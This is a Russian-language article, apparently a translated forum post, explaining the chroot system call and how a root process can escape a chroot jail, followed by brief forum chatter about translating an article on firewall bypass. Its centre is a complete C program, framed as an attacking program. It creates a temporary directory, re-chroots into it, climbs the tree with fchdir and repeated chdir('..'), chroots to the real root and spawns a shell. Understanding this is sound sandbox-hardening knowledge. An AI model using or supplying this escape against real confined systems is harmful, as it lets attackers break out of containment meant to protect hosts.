КАК ВЫЛЕЗТИ ИЗ CHROOT? Введение в chroot chroot – вызов в UNIX системах, который часто используется для обеспечения дополнительного уровня безопасности при запуске непроверенного программного обеспечения(т.е. ПО, устанавливаемого пользователем, которое может обращаться к ядру только через интрефейс системных вызовов). Ядро в разных системах UNIX, которые поддерживают chroot, поддерживает соответствующую корневую директорию для каждого процесса. Обычно это / , но системный вызов chroot() может ее изменить. Когда chroot() успешно вызван, процесс изменяет корневую директорию на директорию, передаваемую в качестве параметра вызову chroot(). Напр., после нижеприведенного кода процесс будет видеть директорию /foo/bar как свую корневую директорию: chdir("/foo/bar"); chroot("/foo/bar"); Нужно вызывать chdir() перед chroot(). Это гарантирует, что рабочая директория процесса – это chroot-директория. Для большинства реализаций chroot() нельзя изменить рабочую директорию процесса, запущенного в chroot(). Соответственно, после chroot(),в результате вызова open(''/'',O_RDONLY) будет открыта директория как после вызова open(''/foo/bar'',O_RDONLY). Запущенная программа может использовать различные фалы в процессе работы. Например, следующие файлы требуются для многих обычных операций базового командного интерпретатора sh, запущенного в chroot-cреде. /bin/sh The binary for sh /usr/ld.so.1 Dynamically link in the shared object libraries /dev/zero Ensuring that the pages of memory used by shared objects are clear /usr/lib/libc.so.1 The general C library /usr/lib/libdl.so.1 The dynamic linking access library /usr/lib/libw.so.1 Internationalisation library /usr/lib/libintl.so.1 Internationalisation library /usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 - машинно-зависимые библиотеки функций, написанные на ассемблере Для работы сложных и больших программ требуется множество файлов. Так, perl требует большого числа файлов и директорий, запущенных в chroot-среде(2610 файлов и 192 директории). РАЗРУШЕНИЕ CHROOT() Пока chroot умеренно безопасен, программа может выйти из него, используя прерывания. Если программа запущена с привилегиями рута, это может быть использовано для выхода из среды chroot(). Чтобы сделать это требуется доступ к компилятору С или к интерпретатору Perl и известные дыры безопасности для получения рутовых привилегий. Действительно, неразумно допускать, что пользователь имеет доступ к интерпретатору Perl. Это так, к тому же возможно для пользователя получение рутовых привилегий через дыры в безопасности в модулях запущенного веб-сервера. Атакующий может использовать программы с установленным битом suid, которые предситавляют собой еще одну дыру. В действительности же в chroot-среде таких программ обычно нет. Тем не менее, поддержка chroot-среды – это нетривиальная задача, напр., системные патчи, фиксирующие такие дыры в безопасности, ничего не знают о копиях программ в chroot-среде. Гарантированно, в chroot-среде не должно быть исполняемых setuid-root файлов. Чтобы выйти из chroot-среды, программа должна сделать следующее: Создать временную директорию в текущей рабочей директории Открыть текущую рабочию директорию Только тогда, когда chroot() изменяет рабочую директорию вызывающей программы Изменить корневую директорию процесса на временную, используя chroot() Использовать fchdir() с файловым дескриптором открытой директории для перемещения текущей рабочей директории из chroot-среды Только тогда, когда chroot() изменяет рабочую директорию вызывающей программы Выполнить несколько раз chdir(''..'') для перемещения текущей рабочей директории в настоящую корневую директорию Изменить корневую директорию процесса на текущую директорию, используя chroot(''.'') Следующий код – это пример атакующей программы для выхода из chroot(). Perl-версия возможна, хотя здесь и не приведена Breaking chroot() 001 #include <stdio.h> 002 #include <errno.h> 003 #include <fcntl.h> 004 #include <string.h> 005 #include <unistd.h> 006 #include <sys/stat.h> 007 #include <sys/types.h> 008 009 /* 010 ** Вам нужно установить NEED_FCHDIR в 1, если chroot() на вашей 011 ** системе меняет рабочую директорию вызываемого процесса 012 ** на некоторую директорию, когда процесс был «chroot()ed» 013 ** 014 ** 015 ** Не нужно этого делать, если система Solaris 2.7 и ниже 016 ** 017 ** 018 */ 019 #define NEED_FCHDIR 0 020 021 #define TEMP_DIR "waterbuffalo" 022 023 /* выход из chroot()-среды на C */ 024 025 int main() { 026 int x; /* Используется для передвижения вверх по дереву */ 027 int done=0; /* Еще не все? */ 028 #ifdef NEED_FCHDIR 029 int dir_fd; /* Дескриптор директории*/ 030 #endif 031 struct stat sbuf; /* The stat() буфер*/ 032 033 /* 034 **Сначала создаем временную директорию, если она не существует 035 */ 036 if (stat(TEMP_DIR,&sbuf)<0) { 037 if (errno==ENOENT) { 038 if (mkdir(TEMP_DIR,0755)<0) { 039 fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, 040 strerror(errno)); 041 exit(1); 042 } 043 } else { 044 fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, 045 strerror(errno)); 046 exit(1); 047 } 048 } else if (!S_ISDIR(sbuf.st_mode)) { 049 fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); 050 exit(1); 051 } 052 053 #ifdef NEED_FCHDIR 054 /* 055 ** Сейчас мы открываем теукщую рабосую директорию 056 ** 057 ** Note: Только если chroot() изменяет рабочую директорию 058 ** вызываемой программы на директорию, установленную chroot(). 059 ** 060 */ 061 if ((dir_fd=open(".",O_RDONLY))<0) { 062 fprintf(stderr,"Failed to open "." for reading - %s\n", 063 strerror(errno)); 064 exit(1); 065 } 066 #endif 067 068 /* 069 ** chroot-тим временную директорию 070 */ 071 if (chroot(TEMP_DIR)<0) { 072 fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, 073 strerror(errno)); 074 exit(1); 075 } 076 077 #ifdef NEED_FCHDIR 078 /* 079 ** Частично выходим из chroot, используя fchdir() 080 ** 081 ** Это лишь частичный выход из chroot, пока 082 ** наша текущая рабочая директория вне chroot(), 083 ** но наша корневая директоря все еще там. Таким образом, 084 ** все ссылки на "/" будут ссылаться на корень chroot(). 085 ** 086 ** Note: Только если chroot() изменяет рабочую директорию 087 ** вызываемой программы на директорию, установленную chroot() 088 ** 089 */ 090 if (fchdir(dir_fd)<0) { 091 fprintf(stderr,"Failed to fchdir - %s\n", 092 strerror(errno)); 093 exit(1); 094 } 095 close(dir_fd); 096 #endif 097 098 /* 099 ** Завершаем выход из chroot перемещением вверх по дереву и 100 ** вызываем chroot(''/''), когда будем в настоящей корневой директории 101 ** Мы только вызываем chdir("..") много раз 102 ** (1024 раза на удачу . 103 ** 104 ** 105 ** 106 ** В конце выхода устанавливаем chroot(".") - т.е. chroot-директория - 107 ** это настоящая / директория 108 ** 109 */ 110 for(x=0;x<1024;x++) { 111 chdir(".."); 112 } 113 chroot("."); 114 115 /* 116 ** Закончили – вызываем shell 117 */ 118 if (execl("/bin/sh","-i",NULL)<0) { 119 fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); 120 exit(1); 121 } 122 } КОДИНГ С chroot() В ГНЕВЕ Очень важный аспект написания безопасного кода – это принцип «минимальных привилегий». В соответствии с ним, код должен запускаться с минимальными привилегиями пользователя, которому это нужно. Первоначально chroot спользовался для для тестирования прграммногго обеспечения в защищенной среде.
Активный лентяй: бросается выполнять сразу несколько дел одновременно, нифига не успевает и вечером без сил валится спать, муахаха=) 2 rent0n: может, я как-нибудь могу помочь?
а я 2-ю статью уже перевел.Называется обход фаервола с помощью поддельных ftp-комманд. Если хочешь помочь - пожалуйста